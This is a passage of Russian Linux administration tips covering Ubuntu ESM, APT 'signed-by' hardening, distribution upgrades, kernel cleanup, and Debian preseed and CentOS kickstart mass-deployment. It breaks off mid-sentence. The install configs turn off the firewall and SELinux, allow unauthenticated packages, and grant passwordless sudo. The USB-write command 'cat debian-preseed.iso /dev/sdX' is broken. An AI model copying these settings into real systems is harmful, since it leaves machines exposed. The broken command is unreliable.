    ----* Получаем патчи безопасности для Ubuntu 16.04 (доп. ссылка 1)   Автор: Владимир  [комментарии]
     
    У операционной системы Ubuntu 16.04 закончилась основная поддержка https://wiki.ubuntu.com/Releases
    
    Пользователи Ubuntu 16.04 могут продолжить получать патчи безопасности для
    своей системы до 2024 года, но для этого требуется подключение к программе
    Ubuntu Advantage. На один аккаунт можно добавить 3 машины (бесплатно для
    персонального использования), получив ключ по ссылке https://ubuntu.com/advantage
    
       Free for personal use
       Anyone can use UA Infrastructure Essential for free on up to 3
       machines (limitations apply). All you need is an Ubuntu One account.
    
    В последнем обновлении поставляется утилита ua с помощью которой происходит подключение к сервису
     
       user@ubuntu:~$ sudo ua attach Ca1**********
     
       [sudo] пароль для user: 
       Enabling default service esm-infra
       Updating package lists
       UA Infra: ESM enabled
       Enabling default service livepatch
       Installing snapd
       Updating package lists
       Installing canonical-livepatch snap
       Canonical livepatch enabled.
       This machine is now attached to '*****@gmail.com'
     
       SERVICE       ENTITLED  STATUS    DESCRIPTION
       esm-infra     yes       enabled   UA Infra: Extended Security Maintenance (ESM)
       fips          yes       disabled  NIST-certified FIPS modules
       fips-updates  yes       disabled  Uncertified security updates to FIPS modules
       livepatch     yes       enabled   Canonical Livepatch service
    
    
    Также для систем которые ещё актуальны (ubuntu 18.04, 20.04) существует 
    сервис livepatch, поставляющий патчи для ядра Linux, устанавливаемые без
    перезагрузки. Данный сервис также бесплатен для 3 машин на аккаунт.
     
    
     
    ----* Просмотр зависимостей пакета и принадлежности файла пакету в Linux   [комментарии]
     
    Для просмотра от каких пакетов зависит пакет gnome-calculator:
    
    Debian/Ubuntu:
    
       apt depends gnome-calculator
    
    Fedora/CentOS/RHEL:
    
       dnf deplist gnome-calculator
    
    SUSE:
    
       zypper se --requires gnome-calculator
    
    
    Для просмотра какие другие пакеты зависят от пакета  gnome-calculator:
    
    Debian/Ubuntu:
    
       apt rdepends gnome-calculator 
    
    Fedora/CentOS/RHEL:
    
       rpm -q --whatrequires gnome-calculator 
       dnf repoquery --whatrequires gnome-calculator 
    
    Для просмотра какому пакету принадлежит файл /usr/bin/gnote
    
    Debian/Ubuntu:
    
       dpkg -S /usr/bin/gnote
       apt-file /usr/bin/gnote
    
    Fedora/CentOS/RHEL:
    
       rpm -qf /usr/bin/gnote
       dnf provides /usr/bin/gnote
    
    SUSE:
    
       zypper wp /usr/bin/gnote
    
     
    ----* Улучшение безопасности sources.list в дистрибутивах, использующих APT (доп. ссылка 1)   Автор: KOLANICH  [комментарии]
     
    Опция "signed-by" привязывает доверенный публичный ключ к репозиторию, что
    блокирует установку ПО в случае, если InRelease подписан другим ключом. Опция
    может быть установлена как в fingerprint ключа, так и в форме пути к файлу.
    
    Это позволяет защититься от некоторых атак в следующей модели угроз:
    
    1. допустим, что есть репозиторий, доступный по скомпрометированному каналу,
    чей приватный ключ не может быть скомпрометирован;
    
    2. допустим, что есть репозиторий, доступный по безопасному каналу, чей
    приватный ключ был скомпромитирован;
    
    3. оба репозитория прописаны в sources.list и оба ключа добавлены в доверенные.
    
    Тогда, если нет привязки, злоумышленник может использовать скомпрометированный
    ключ второго репозитория для подписи поддельного InRelease для первого
    репозитория, получая RCE.
    
    Поэтому в https://wiki.debian.org/DebianRepository/UseThirdParty рекомендуется
    прописывать всем сторонним репозиториям "signed-by", при этом указано
    использовать путь к ключу вместо fingerprint-а.
    
    По моему мнению, имеет смысл прописывать signed-by вообще всем репозиториям.
    
    В дистрибутивах, использующих APT, почему-то по умолчанию не используется опция
    signed-by. В инструкциях по подключению других репозиториев тоже почти никогда
    не встречаются указания её использовать.
    
    Так как ручная идентификация ключей для каждого репозитория - дело трудоёмкое,
    был подготовлен скрипт, разбирающий sources.list, автоматически
    идентифицирующий fingerprint-ы и файлы ключей для каждого репозитория и
    выдающий модифицированный sources.list для сравнения с оригинальным.
    
    В скрипте используется собственная библиотека для парсинга и сериализации
    sources.list на основе грамматики для parglare.
    
     
    ----* Обновление версии Fedora из командной строки (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    При выходе новой версии Fedora приложение GNOME Software автоматически
    предлагает перейти на новый релиз, не покидая графический интерфейс.
    
    Для тех кому необходимо выполнить обновление из командной строки, можно
    использовать следующую последовательность команд.
    
    Обновляем текущее окружение до самого свежего состояния:
    
       sudo dnf upgrade --refresh
    
    Устанавливаем плагин к DNF для обновления выпусков дистрибутива:
    
       sudo dnf install dnf-plugin-system-upgrade
    
    Запускаем загрузку пакетов для обновления до релиза Fedora 29:
    
       sudo dnf system-upgrade download --releasever=29
    
    В случае проблем с нарушением зависимостей, устаревшими и необновляемыми
    пакетами можно использовать опцию "--allowerasing" для удаления проблемных пакетов.
    
    После окончания загрузки новых пакетов инициируем применение обновлений после перезагрузки системы:
    
       sudo dnf system-upgrade reboot
    
    После завершения обновления система ещё раз перезагрузится.
    
    Если в новой системе выводится сообщение о повреждении БД RPM, можно
    перегенерировать индекс пакетов:
    
       sudo rpm --rebuilddb
    
    Если после обновления часть пакетов осталась необновлена или наблюдаются
    проблемы с зависимостями, можно попробовать вручную запустить distro-sync:
    
       sudo dnf distro-sync
    
    или с удалением проблемных пакетов 
    
       sudo dnf distro-sync --allowerasing
    
    В случае предупреждений о недопустимости выполнения операций из-за ограничений
    SELinux можно перегенерировать метки SELinux:
    
       sudo fixfiles onboot
    
     
    ----* Как очистить ранее установленные старые ядра Linux в Ubuntu, RHEL и Fedora (доп. ссылка 1)   [комментарии]
     
    В Ubuntu после установки очередного обновления ядра Linux, ранее использованное
    ядро сохраняется. Со временем старые ядра и связанные с ними заголовочные файлы
    съедают ощутимую часть дискового пространства и их приходится чистить, вручную
    выбирая для удаления оставленные пакеты. Начиная с Ubuntu 16.04 в репозиторий
    добавлен пакет byobu, в котором имеется скрипт purge-old-kernels,
    предназначенный для очистки старых ядер.
    
    Устанавливаем пакет:
    
       sudo apt install byobu
    (в более ранних выпусках утилита находилась в пакете bikeshed)
    или загружаем скрипт отдельно:
       wget https://raw.githubusercontent.com/dustinkirkland/byobu/master/usr/bin/purge-old-kernels
    
    Проводим чистку старых ядер:
    
       sudo purge-old-kernels
    
    По умолчанию после выполнения этой команды в системе будет оставлено два самых
    свежим пакета с ядром. При желании число оставленных пакетов можно изменить при
    помощи опции "--keep", например:
    
       sudo purge-old-kernels --keep 3
    
    Скрипт достаточно прост:
    
       KEEP=2
       APT_OPTS=
       CANDIDATES=$(ls -tr /boot/vmlinuz-* | head -n -${KEEP} | grep -v "$(uname -r)$" | cut -d- -f2- | awk '{print "linux-image-" $0 " linux-headers-" $0}' )
       for c in $CANDIDATES; do
    	dpkg-query -s "$c" >/dev/null 2>&1 && PURGE="$PURGE $c"
       done
    
       if [ -z "$PURGE" ]; then
    	echo "No kernels are eligible for removal"
    	exit 0
       fi
    
       apt $APT_OPTS remove --purge $PURGE
    
    
    В Red Hat Enterprise Linux и CentOS для чистки старый ядер можно использовать
    утилиту package-cleanup, которая входит в состав пакета yum-utils. Например,
    чтобы оставить только два последних ядра можно выполнить:
    
       package-cleanup --oldkernels --count=2
    
    В Fedora для решения аналогичной задачи можно воспользоваться штатным DNF:
    
       dnf remove $(dnf repoquery --installonly --latest-limit -2 -q) 
    
     
    ----* Автоматическая установка Debian с помощью preseed (доп. ссылка 1)   Автор: l8saerexhn1  [комментарии]
     
    Требовалось установить Debian с флешки или CD в полностью автоматическом
    режиме. Без доступа к Интернету. Софт- минимальный набор (Debian Jessie
    netinstall ISO). Архитектура - i686. После инсталляции необходимо установить
    дополнительные пакеты, произвести определенные настройки установленной ОС. Тоже
    в автоматическом режиме.
    
    Установку Debian'a можно полностью автоматизировать путем создания файла со
    сценарием ответов на все вопросы инсталлятора. Интегрировав данный сценарий в
    инсталляционный образ получим полностью самоустанавливаемый Debian. Способ
    автоматической установки называется Debian Preseed. Созданный файл-сценарий
    ответов (preseed.cfg) пакуется его в initrd инсталляционного ISO-образа Debian.
    На выходе получаем обычный ISO-образ, готовый к автоматической установке.
    
    
    Для создания собственного инсталляционного ISO-образа необходимо произвести ряд действий. А именно:
    
    
  • смонтировать оригинальный ISO;
  • "выудить" из него initrd, распаковать его;
  • скопировать в "корень" initrd созданный файл preseed.cfg и все необходимое для настройки устанавливаемой системы по завершении установки (см. ниже);
  • собрать обратно ISO образ. Для автоматизации сборки образа сделаем скрипт makeiso.sh. Выполнять его необходимо с правами рута. Для работы скрипта нужны установленные пакеты rsync, syslinux, genisoimage, md5sum. В директорию, где находится скрипт,  необходимо скопировать оригинальный Debian ISO и файл-сценарий preseed.cfg. Также необходимо создать директорию extra - в ней будут находиться пост-инсталляционный скрипт и все необходимое, для его работы. cat makeiso.sh #!/bin/bash mkdir mnt mkdir irmod mkdir cd INISO=debian-8.3.0-i386-netinst.iso OUTISO=debian-preseed.iso mount -o loop $INISO mnt rsync -a -H --exclude=TRANS.TBL mnt/ cd umount mnt rmdir mnt # Pack custom initrd cd irmod gzip -d < ../cd/install.386/initrd.gz | cpio --extract --verbose --make-directories --no-absolute-filenames cp -f ../preseed.cfg preseed.cfg find . | cpio -H newc --create --verbose | gzip -9 > ../cd/install.386/initrd.gz cd ../ rm -fr irmod/ # Fix md5 sum cd cd md5sum `find -follow -type f` > md5sum.txt cd .. # Copy custom postinst script to new ISO cp -Rf extra cd/ # Create new ISO rm test.iso genisoimage -o $OUTISO -r -J -no-emul-boot -boot-load-size 4 -boot-info-table -b isolinux/isolinux.bin -c isolinux/boot.cat ./cd rm -rf cd isohybrid -o $OUTISO При успешной отработке скрипта получим образ debian-preseed.iso (в формате hybrid iso), готовый для записи как на USB-носитель, так и на CD. Записать образ на флешку можно, например, вот так: cat debian-preseed.iso /dev/sdX где sdХ - флешка Теперь, собственно, сам preseed-сценарий. cat preseed.cfg d-i debian-installer/locale string ru_RU.UTF8 d-i console-keymaps-at/keymap select ru ### Network configuration d-i netcfg/enable boolean false d-i netcfg/get_hostname string host_name d-i netcfg/get_domain string domain.name ### Mirror settings d-i mirror/country string enter information manually d-i mirror/http/hostname string http.us.debian.org d-i mirror/http/directory string /debian d-i mirror/http/proxy string ### Partitioning d-i partman-auto/method string regular d-i partman-auto/disk string /dev/sda d-i partman-auto/expert_recipe string \ boot-root:: \ 1000 10000 1000000 ext4 \ $primary{ } $bootable{ } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext4 } \ mountpoint{ / } \ label{root} \ \ 500 10000 1000000000 ext4 \ $primary{ } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext4 } \ mountpoint{ /var } \ \ 128 2048 150% linux-swap \ $primary{ } method{ swap } format{ } \ d-i partman/confirm_write_new_label boolean true d-i partman/choose_partition select Finish partitioning and write changes to disk d-i partman/confirm boolean true d-i clock-setup/utc boolean true d-i time/zone string Europe/Moscow ### Apt setup d-i apt-setup/non-free boolean true d-i apt-setup/contrib boolean true d-i apt-setup/use_mirror boolean false # Additional repositories, local[0-9] available d-i apt-setup/local0/repository string deb http://mirror.yandex.ru /debian jessie main d-i apt-setup/local0/source boolean true d-i apt-setup/local0/source string http://mirror.yandex.ru/debian jessie main d-i debian-installer/allow_unauthenticated string true ### Account setup d-i passwd/root-login boolean true d-i passwd/root-password-crypted password MD5_password_hash d-i passwd/make-user boolean true d-i passwd/user-fullname string user d-i passwd/username string user d-i passwd/user-password-crypted password MD5_password_hash ### Base system installation d-i base-installer/kernel/linux/initramfs-generators string yaird ### Boot loader installation d-i grub-installer/skip boolean false d-i lilo-installer/skip boolean true d-i grub-installer/bootdev  string default d-i grub-installer/only_debian boolean true d-i grub-installer/with_other_os boolean true ### Package selection tasksel tasksel/first multiselect standard, ssh-server popularity-contest popularity-contest/participate boolean false ### Finishing up the first stage install d-i finish-install/reboot_in_progress note d-i preseed/late_command string cp -R /cdrom/extra/ /target/root/; \ cd /target; \ chmod +x /target/root/extra/postinst.sh; \ in-target /bin/bash /root/extra/postinst.sh; Пароль рута и пользователя задан в виде хеша. Хеш получаем командой: mkpasswd -m md5 Диск разбивается на 3 раздела: /, /var, и swap. ФС - ext4, Размер swap - не менее 128Мб, примерно 150% от объема установленной памяти. Остальные разделы - примерно пополам от объема диска. После окончания установки в свежеустановленную (т.н. "target") систему копируется директория extra и в chroot-окружении запускается постинсталляционный скрипт postinst.sh. Что ему делать - решать вам. Например, доустановить дополнительный софт, произвести донастройку системы и т.п. Все. Литература * How to modify an existing CD image to preseed d-i * Автоматическая установка с помощью списка ответов * Example preseed * Bug #712907 * HOWTO automate Debian installs with preseed
  •  
    ----* Обновление Debian Wheezy до Debian Jessie, не дожидаясь официального релиза (доп. ссылка 1)   [комментарии]
     
    До релиза Debian 8.0 (Jessie) остаются считанные недели, и за исключением
    некоторых блокирующих релиз ошибок, дистрибутив уже вполне пригоден для
    использовании на рабочей станции. Несмотря на то, что в Wheezy внесены
    кардинальные системные изменения, связанные с переходом на systemd, обновление
    с Wheezy проходит без заметных проблем.
    
    1. Делаем резервную копию текущей системы.
    
    2. Доводим Debian Wheezy до актуального состояния.
    
       # apt-get update
       # apt-get upgrade 
    
    3. Изучаем список не полностью установленных пакетов с состоянием Half-Installed или Failed-Config.
    
       # dpkg --audit
    
    4. Изучаем список отложенных пакетов.
    
       # dpkg --get-selections | grep 'hold$'
    
    5. Решаем выявленные на двух прошлых этапах проблемы, после чего удостоверимся,
    что в общем списке все пакеты имеют статус 'ii'  в первой колонке.
    
       # dpkg -l| grep -v 'ii'| less
    
    6. Удаляем забытые пакеты:
    
       # apt-get autoremove
    
    
    Подготовительная фаза завершена, приступаем к обновлению до Debian Jessie. 
    
    7. Изменяем список репозиториев в /etc/apt/sources.list. Вместо "wheezy" и
    "stable" указываем "jessie".
    
       # vi /etc/apt/sources.list
       deb http://ftp.ru.debian.org/debian/ jessie main
       deb http://security.debian.org/ jessie/updates main
       deb http://ftp.ru.debian.org/debian/ jessie-updates main
       deb http://ftp.ru.debian.org/debian/ jessie-backports main
     
    8. Обновляем список доступных в Debian Jessie пакетов
    
       # apt-get update
    
    9. Обновление производится в две стадии. На первой выполняется замена только
    пакетов, не приводящих к удалению или установке других пакетов.
    На второй выполняется полное обновление всех версий с учётом зависимостей.
    
       # apt-get upgrade
       # apt-get dist-upgrade
    
    В процессе выполнения dist-upgrade на экран будут выводиться запросы для
    принятия тех или иных решений о ходе обновления. Как правило, предлагаемый по
    умолчанию вариант оптимален.
    
    10. Удаляем старые пакеты Wheezy.
    
       # apt-get autoremove
    
     
    ----* Запуск BitTorrent Sync в виде сервиса Systemd (доп. ссылка 1)   [комментарии]
     
    Создаём конфигурацию BitTorrent Sync:
    
       btsync --dump-sample-config
    
    и вносим необходимые изменения в /home/логин/.config/btsync/btsync.json
    
    Создаём unit-файл с описанием параметров сервиса для Systemd - /usr/lib/systemd/system/btsync.service
    
       [Unit]
       Description=BTSync
       After=network.target
     
       [Service]
       User=имя пользователя под которым будет запускаться BitTorrent Sync
       ExecStart=/usr/bin/btsync --config /home/логин/.config/btsync/btsync.json --nodaemon
     
       [Install]
       WantedBy=multi-user.target
    
    Активируем и запускаем сервис:	
    
       systemctl enable btsync
       systemctl start btsync
    
     
    ----* Полуавтоматическое разворачивание рабочих станций CentOS в домене MS Active Directory   Автор: Дмитрий Казаров  [комментарии]
     
    В заметке рассказывается о решении задачи по автоматизации установки новых
    Linux систем и организации управления ими с помощью Active Directory.
    
    Исходные данные:
    
    
  • Домен AD Domain.ru.
  • Дистрибутив CentOS, легально скачанный с сайта CentOS.org (у руководства сейчас пунктик о 100% легальности софта).
  • Очень странный софт спец назначения - 64-битный софт с 32-битным установщиком. Процесс организации установки Linux по сети 1. Готовим сервер установки. 1.1 На сервере виртуалок создаём сервер загрузок из того же CentOS-a с отдельным VLAN-ом и IP адресом 172.17.17.254/24 - основная сетка целиком на MS, лучше её не тревожить... Пока. Сразу ставим туда демоны dhcpd, tftp, nfs, ntpd. Машины заливать будем по NFS - так привычнее. 1.2 Настраиваем на виртуальном сервере DHCP под сетевую загрузку Linux. Правим /etc/dhcp/dhcpd.conf до примерно такого вида: option domain-name "centos"; option domain-name-servers 172.17.17.254; default-lease-time 600; max-lease-time 7200; authoritative; log-facility local7; subnet 172.17.17.0 netmask 255.255.255.0 { range 172.17.17.100 172.17.17.199; option routers 172.17.17.254; filename "pxelinux.0"; next-server 172.17.17.254; } В общем - всё как обычно, кроме пары ключевых параметров: filename и next-server. next-server задаёт IP-адрес tftp-сервера, а filename - файл в папке загрузочных файлов (см следующий пункт). включаем загрузку демона chkconfig dhcpd on и запускаем его service dhcpd start 1.3 Настраиваем tftp Правим файл /etc/xinetd.d/tftp. Точнее в строке disabled ставим значение "no" и в строке server_args ставим те значения, что нам привычны, или оставляем исходные, но запоминаем, куда они указывают. Мне, развлекающемуся с юнихами года так с 1989, привычнее там видеть "-s -vv /tftpboot", что собственно там и оказалось, после моих правок. Создаём саму папку для загрузочных файлов (/tftpboot - из параметра server_args): mkdir /tftpboot Ставим пакет syslinux-а yum install syslinux-4.02-7.el6.x86_64 И копируем PXE-шный загрузчкик в выбранное место: cp /usr/share/syslinux/pxelinux.0 /tftpboot И включаем демон: chkconfig xinetd on service xinetd restart 1.4 Настраиваем NFS Создаём папку для дистрибутива mkdir -p /pub/CentOS Распаковываем туда дистрибутив mkdir -p /mnt/cdrom mount -o loop /путь-к-папке-с-изошником-CentOS/CentOS-6.3-x86_64-bin-DVD1.iso /mnt/cdrom cd /pub/CentOS cp -ra /mnt/cdrom/* . umount /mnt/cdrom mount -o loop /путь-к-папке-с-изошником-CentOS/CentOS-6.3-x86_64-bin-DVD2.iso /mnt/cdrom cp -ra /mnt/cdrom/* . umount /mnt/cdrom Открываем к доступ к папке echo '/pub *(ro,insecure,all_squash)' >> /etc/exports chkconfig nfs on service nfs restart С общей подготовкой сервера - всё. Приступаем к специфичной части. 2. CentOS-овский загрузчик. CentOS, разумеется, для загрузки с CD и DVD использует загрузчик isolinux проекта Syslinux. А значит сделать файл конфигурации загрузки для pxelinux.0, другой загрузчик этого же проекта - не просто, а очень просто. Создаём папку /tftpboot/pxelinux.cfg и папку для дополнительных файлов загрузчика. mkdir -p /tftpboot/pxelinux.cfg Копируем туда под именем default файл конфигурации isolinux-а с дистрибутива CentOS... cd /pub/CentOS/isolinux/ cp isolinux.cfg /tftpboot/pxelinux.cfg/default [[/CODE]] ...и несколько файлов, используемых при загрузке. cp boot.cat boot.msg grub.conf initrd.img splash.jpg TRANS.TBL vesamenu.c32 vmlinuz /tftpboot Добавляем ссылку на файл автоматической инсталяции в параметры ядра. В строки append initrd=initrd.img надо дописать ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg, где nfs - протокол, по которому надо брать файл конфигурации, 172.17.17.254 - адрес сервера, /pub/CentOS-conf/desktop.cfg - полное имя файла. Получается файл /tftpboot/pxelinux.cfg/default примерно такого вида: default vesamenu.c32 #prompt 1 timeout 80 display boot.msg menu background splash.jpg menu title Welcome to CentOS 6.3! menu color border 0 #ffffffff #00000000 menu color sel 7 #ffffffff #ff000000 menu color title 0 #ffffffff #00000000 menu color tabmsg 0 #ffffffff #00000000 menu color unsel 0 #ffffffff #00000000 menu color hotsel 0 #ff000000 #ffffffff menu color hotkey 7 #ffffffff #ff000000 menu color scrollbar 0 #ffffffff #00000000 label linux menu label ^Install or upgrade an existing system menu default kernel vmlinuz append initrd=initrd.img ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg label vesa menu label Install system with ^basic video driver kernel vmlinuz append initrd=initrd.img xdriver=vesa nomodeset ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg label rescue menu label ^Rescue installed system kernel vmlinuz append initrd=initrd.img rescue label local menu label Boot from ^local drive localboot 0xffff label memtest86 menu label ^Memory test kernel memtest append - 3. Проблема совместимости 64-битной ОС с 32-битными приложениями. При наличии 32-битных библиотек у 64-битной ОС ни каких проблем совместимости нет. Но вот не задача: новый yum теперь 32-битные библиотеки ставить не будет. Дело всё в параметре multilib_policy - в 5-ом CentOSе он имел значение all, теперь - best. Как правильно побороть это на этапе установки - не знаю. В Интернете нашёл, как побороть это по-быстрому (http://lists.centos.org/pipermail/centos/2011-July/114513.html). Вытаскиваем из архива файл yuminstall.py во временную папку mkdir /tmp/1 cd /tmp/1 rpm2cpio /pub/CentOS/Packages/anaconda-13.21.176-1.el6.centos.x86_64.rpm | cpio -id ./usr/lib/anaconda/yuminstall.py Добавляем строку multilib_policy=all после строки [main], где-то 1252 строка файла. Можно применить такой патчик: cd usr/lib/anaconda/ cat <<EOP > patch --- yuminstall.py.orig 2012-12-25 13:49:06.979604951 +0400 +++ yuminstall.py 2012-12-25 13:51:15.433740741 +0400 @@ -1250,6 +1250,7 @@ buf = """ [main] +multilib_policy=all installroot=%s cachedir=/var/cache/yum keepcache=0 EOP patch < patch Кладём подправленный файл в папку, откуда его точно заглотит инсталлятор: mkdir /pub/CentOS/RHupdates/ cp yuminstall.py /pub/CentOS/RHupdates/ 4. Создание конфигурации Kickstart. Теперь надо создать конфигурационный файл инсталлятора. Сделать это проще всего в графическом конфигураторе system-config-kickstart yum install system-config-kickstart system-config-kickstart Запускается простой Х-овый интерфейс выбора параметров. Заполняем его по своему усмотрению, ключевыми являются закладки "Метод установки" и "Сценарий после установки". Т.к. я изначально решил устанавливать по NFS в методе установки указываем "Выполнить новую установку", "Установочный носитель" - NFS, "Сервер NFS" - 172.17.17.254 и "Каталог NFS" - /pub/CentOS. Содержимое закладки "Сценарий после установки" можно скопировать из примера конфигурационного файла, приведённого ниже, между полями %post и %end. Пакеты выбираем по собственному вкусу, но для интеграции с Active Directory необходимы samba-winbind krb5-workstation openldap-clients их можно выбрать в "Выбор пакетов" -> "Базовая система" -> "Клиент каталогов". На всякий случай, мало ли на какой каталог придётся переползать, я ставлю вообще все пакеты этого подраздела. Сохраняем файл конфигурации /pub/CentOS-conf/desktop.cfg - именно на него ссылаются параметры ks из п.2. У меня файл /pub/CentOS-conf/desktop.cfg получился таким (он содержит комментарии на русском, их лучше удалить перед использованием - не хватало ещё глюков из-за кириллицы): #platform=x86, AMD64, or Intel EM64T #version=DEVEL # Firewall configuration - Внутри локалки firewall по большей части мешает. firewall --disabled # Install OS instead of upgrade install # Use NFS installation media nfs --server=172.17.17.254 --dir=/pub/CentOS # Root password rootpw --iscrypted <зашифрованный пароль> # System authorization information auth --useshadow --passalgo=md5 --enablecache # Use text mode install text # Run the Setup Agent on first boot firstboot --disable # System keyboard keyboard ru # System language lang ru_RU # SELinux configuration selinux --disabled # Installation logging level logging --level=info ## Turnoff power after installation # Удобно при большом кол-ве одновременно заливаемых компов - готовые выключены, # и хорошо заметно, который можно уносить. Кикстарт не понимает всей прелести такого # и этот параметр приходится дописывать руками. poweroff # System timezone timezone Europe/Moscow # Network information network --bootproto=dhcp --device=eth0 --onboot=on # System bootloader configuration bootloader --location=mbr # Clear the Master Boot Record zerombr # Partition clearing information clearpart --all --initlabel # Disk partitioning information. # диски на компьютерах сейчас просто огромные, место жалеть не приходится part /boot --fstype="ext4" --size=1024 part swap --fstype="swap" --recommended part / --fstype="ext4" --size=131072 part /home --fstype="ext4" --grow --size=1 # # А вот тут - самое основное # Скрипт выполняется после всех основных действий по установки, в том числе # после заливки софта, но chroot-нутым в подготовленную машину. # %post # Скрипт создаётся в папке /tmp настраиваемого компьютера. Незачем ему там храниться. rm -f $0 # Говорим yum-у и впредь ставить 32-битные модули вместе с 64-битными. sed -i '/main/a multilib_policy=all' /etc/yum.conf # Делаем группу wheels истинно админской, чтобы даже пароль не спрашивала при sudo [ -d /etc/sudoers.d ] || mkdir /etc/sudoers.d echo '%root ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers.d/rootgrp chmod 0440 /etc/sudoers.d/rootgrp assureFileFolder() { local d=`dirname $1`; [ -d "$d" ] && return mkdir -p "$d" } # Конфигурация переключения раскладок клавиатуры в KDE kxkbrcFile=/etc/skel/.kde/share/config/kxkbrc assureFileFolder ${kxkbrcFile} cat <<EOKXKBRC > ${kxkbrcFile} [Layout] DisplayNames=us,ru LayoutList=us,ru LayoutLoopCount=-1 Model=pc101 Options=grp_led:scroll,grp:caps_toggle,grp:alt_shift_toggle,grp:shifts_toggle ResetOldOptions=true ShowFlag=true ShowLabel=true ShowLayoutIndicator=true ShowSingle=true SwitchMode=Window Use=true EOKXKBRC # Конфигурация локали KDE kdeglobFile=/etc/skel/.kde/share/config/kdeglobals assureFileFolder ${kdeglobFile} cat <<EOKGL > ${kdeglobFile} [Locale] Country=ru DateFormat=%A %d %B %Y Language=ru EOKGL # Конфигурация правописания KDE. kdespellCfg=/etc/skel/.kde/share/config/sonnetrc assureFileFolder ${kdespellCfg} cat <<EOKSPL > ${kdespellCfg} [Spelling] backgroundCheckerEnabled=true checkUppercase=true defaultClient= defaultLanguage=ru ignore_ru= skipRunTogether=true EOKSPL # Конфигурация переключения раскладок клавиатуры в GNOME. # Индикатор раскладок автоматически запускается только с GNOME 2.30, # а текущий гном в дистрибутиве Центоса - 2.28... # Так, что надо либо добавить сюда запуск индикатора, либо настраивать это руками... # Но оба этих упражнения - в другой раз. gnomekbdbase='/etc/skel/.gconf' gnomekbdfile='desktop/gnome/peripherals/keyboard/kbd/%gconf.xml' gkd=`dirname "${gnomekbdfile}"` mkdir -p "${gnomekbdbase}/${gkd}" d="${gkd}"; while [ "x${d}" != "x." ]; do touch ${gnomekbdbase}/$d/'%gconf.xml'; d=`dirname $d`; done sed 's/ /\\t/g' <<EOGCONFKBD > ${gnomekbdbase}/${gnomekbdfile} <?xml version="1.0"?> <gconf> <entry name="options" mtime="1357150396" type="list" ltype="string"> <!-- li type="string"> <stringvalue>terminate terminate:ctrl_alt_bksp</stringvalue> </li --> <li type="string"> <stringvalue>grp_led grp_led:scroll</stringvalue> </li> <li type="string"> <stringvalue>grp grp:caps_toggle</stringvalue> </li> <li type="string"> <stringvalue>grp grp:alt_shift_toggle</stringvalue> </li> <li type="string"> <stringvalue>grp grp:shifts_toggle</stringvalue> </li> </entry> </gconf> EOGCONFKBD chmod 0644 ${kxkbrcFile} ${kdeglobFile} ${kdespellCfg} ${gnomekbdbase}/${gnomekbdfile} # Создаём учётные записи для великих гуру - пусть имеют возможность зайти на любой компьютер # Creation of admins for u in guru0 guru1; do useradd -m -p '*' -g wheel -G root $u mkdir /home/$u/.ssh touch /home/$u/.ssh/authorized_keys chown -R $u:wheel /home/$u/.ssh chmod -R go-rwx /home/$u/.ssh done # А сюда вставляем их публичные ключи SSH. cat <<EOAK0 >> /home/guru0/.ssh/authorized_keys EOAK0 cat <<EOAK1 >> /home/guru1/.ssh/authorized_keys EOAK1 # # У меня установка будет в текстовом режиме, а при этом система получает 3 уровень запуска - исправляем на 5-й. sed -i 's/id:[3-5]:initdefault:/id:5:initdefault:/g' /etc/inittab # Монтируем раздел с дистрибутивом mkdir /tmp/pubDnld mount -o ro 172.17.17.254:/pub /tmp/pubDnld # Ставим дополнительные пакеты. rpm -ivh /tmp/pubDnld/Adobe/adobe-release-x86_64-1.0-1.noarch.rpm rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux rpm -i /tmp/pubDnld/Adobe/flash-plugin-11.2.202.258-release.x86_64.rpm # Удаляем ненужные мне глобальные серверы времени и включаем себя как резервный сервер. # Список серверов времени будем получать по DHCP. sed -i.instbak '/^server /s/^/#/;/server[[:space:]]*127/s/^#//;/fudge[[:space:]]*127/s/^#//' /etc/ntp.conf echo 'NTPSERVERARGS=iburst' >> /etc/sysconfig/network # !!! А вот ради этого всё и затевается - ставим скрипт присоединения к домену cp /tmp/pubDnld/CentOS-conf/adsjoin /etc/init.d/ chmod a+x /etc/init.d/adsjoin # Включаем нужные сервисы и выключаем не нужные. chkconfig kdump off chkconfig ntpd on chkconfig adsjoin on %end # Мой список устанавлеваемых пакетов. Создан system-config-kickstart-ом. # %packages @additional-devel @backup-client @base @basic-desktop @cifs-file-server @client-mgmt-tools @console-internet @core @debugging @desktop-debugging @desktop-platform @desktop-platform-devel @development @directory-client @directory-server @eclipse @fonts @general-desktop @graphical-admin-tools @graphics @hardware-monitoring @input-methods @internet-applications @internet-browser @java-platform @kde-desktop @large-systems @legacy-unix @mysql @mysql-client @network-file-system-client @nfs-file-server @office-suite @performance @perl-runtime @php @print-client @remote-desktop-clients @ruby-runtime @russian-support @scientific @server-platform-devel @system-admin-tools @technical-writing @x11 ImageMagick SDL-devel cachefilesd cmake crypto-utils dcraw desktop-file-utils docbook-utils-pdf dump evolution-exchange expect expect gcc-java glade3 glibc-utils gnome-common gnome-devel-docs gnutls-devel gtk2-devel-docs hesinfo hplip hplip-gui i2c-tools icedtea-web inkscape kdebase-devel kdebase-workspace-devel kdegraphics-devel kdelibs-apidocs kdelibs-devel kdemultimedia-devel kdenetwork-devel kdepim-devel kdepimlibs-devel kdesdk kdesdk-devel krb5-appl-clients krb5-pkinit-openssl krb5-workstation ldapjdk libXau-devel libXaw-devel libXinerama-devel libXmu-devel libXpm-devel libXrandr-devel libbonobo-devel libreoffice-base libreoffice-emailmerge libreoffice-headless libreoffice-javafilter libreoffice-ogltrans libreoffice-presentation-minimizer libreoffice-report-builder libreoffice-wiki-publisher libudev-devel libusb-devel libuuid-devel libxslt-devel lm_sensors mc memtest86+ net-snmp-devel netpbm-progs nscd nss-pam-ldapd openldap-clients pam_krb5 pam_ldap perl-Test-Pod perl-Test-Pod-Coverage perl-suidperl pexpect php-mysql planner qt-doc rpmdevtools rpmlint ruby-irb samba samba-winbind screen sox startup-notification-devel systemtap-grapher taskjuggler texinfo tftp thunderbird xchat xfig xmlto-tex xmltoman xorg-x11-proto-devel xrestop xz-devel %end 5. Скрипт интеграции в Active Directory. Собственно, это то, ради чего писалась вся статья. Скрипт 